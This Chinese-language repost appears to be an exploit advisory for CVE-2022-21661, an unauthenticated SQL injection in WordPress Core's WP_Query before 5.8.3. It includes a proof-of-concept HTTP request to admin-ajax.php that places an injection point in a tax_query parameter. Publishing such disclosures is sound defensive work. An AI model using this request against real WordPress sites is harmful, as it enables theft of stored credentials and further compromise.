WordPress Core 5.8.2 - 'WP_Query' SQL 注入

2022-01-14 15:21:23 浏览数 (1)

供应​​商主页:https://wordpress.org

软件链接:https://wordpress.org/download/releases

版本:< 5.8.3

测试:Windows 10

CVE:CVE-2022-21661

此漏洞允许远程攻击者披露受影响的 WordPress Core 安装的敏感信息

Authentication 不需要利用这个漏洞,具体的漏洞存在于 WP_Query 类中, #该问题是由于在使用用户提供的字符串构建 SQL 查询之前没有对其进行适当的验证, #攻击者可以利用此漏洞来泄露存储的凭据,从而导致进一步的妥协。

https://wordpress.org/news/category/releases

https://www.zerodayinitiative.com/advisories/ZDI-22-020

https://hackerone.com/reports/1378209

代码语言:javascript复制
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close 
Content-Type: application/x-www-form-urlencoded

action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}

0 人点赞